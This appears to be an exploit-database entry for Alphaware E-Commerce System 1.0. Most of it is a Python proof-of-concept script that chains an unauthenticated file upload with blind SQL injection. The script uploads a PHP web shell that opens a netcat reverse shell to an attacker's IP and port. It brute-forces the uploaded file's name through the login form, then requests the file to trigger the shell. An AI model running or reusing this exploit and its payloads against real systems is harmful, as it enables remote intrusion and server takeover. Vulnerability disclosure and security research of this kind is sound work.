Alphaware E-Commerce System version 1.0 suffers from unauthenticated remote shell upload and remote SQL injection vulnerabilities.
6f60573df06c46c975bfa0b3b3aaff4f
# Exploit Title: Alphaware E-Commerce System 1.0 - Unauthenicated Remote Code Execution (File Upload + SQL injection)
# Date: 15-03-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11676/alphaware-simple-e-commerce-system.html
# Software Download: https://www.sourcecodester.com/download-code?nid=11676&title=Alphaware+-+Simple+E-Commerce+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86
# --- Description --- #
# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.
# We combine this issue with an sql injection to retrieve the randomised name of our uploaded php shell.
# --- Proof of concept --- #
#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
def file_upload(target_ip, attacker_ip, attacker_port):
random_number = str(random.randint(100000000,999999999))
file_name = "SHELL.php"
revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
m = MultipartEncoder(fields={'add': '', 'product_image': (file_name, revshell_string, 'application/x-php'),'product_code':random_number,'product_name':'R3v_5H3LL','product_price':'123','product_size':'99','brand':'N0_name','category':'Hackers','qty':'1'})
print("(+) Uploading php reverse shell file ..")
r1 = requests.post('http://{}/alphaware/admin/admin_football.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
return random_number
def trigger_shell_sqli(target_ip,product_id):
target_file_name = ''
url = 'http://{}/alphaware/function/admin_login.php'.format(target_ip)
print("(+) Now setting up our sqli for file name guessing ..")
# STEP 1: Get length of target column in database ..
for i in range(1, 200):
payload = {'enter':'','username':"' or {}=(select char_length(product_image) from product where product_id = {})#".format(i, product_id)}
r2 = requests.post(url, data=payload, allow_redirects=False)
# STEP 2: successful sqli will be indicated by a redirect.. setting up our blind based file name guessing. :-)
if str(r2.status_code) == '302':
print("(+) Initial sqli successful, got length of our target file name!")
print("(+) Now for the filename.. ", end = '')
for j in range(1, i+1):
for brutechar in range(32, 126):
payload = {'enter':'','username':"' or '{}'=(SELECT substring((SELECT product_image from product where product_id = {}),{},1))#".format(chr(brutechar),product_id,j)}
r3 = requests.post(url, data=payload, allow_redirects=False)
if str(r3.status_code) == '302':
target_file_name = target_file_name + chr(brutechar)
print(chr(brutechar), end = '')
sys.stdout.flush()
break
url = 'http://{}/alphaware/photo/{}.php'.format(target_ip,target_file_name.split('.')[0])
print("\r\n(+) Trying to trigger shell by requesting {} ..".format(url))
r4 = requests.get(url)
def main():
if len(sys.argv) != 4:
print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
sys.exit(-1)
target_ip = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]
product_id = file_upload(target_ip, attacker_ip, attacker_port)
trigger_shell_sqli(target_ip, product_id)
print("(+) done!")
if __name__ == "__main__":
main()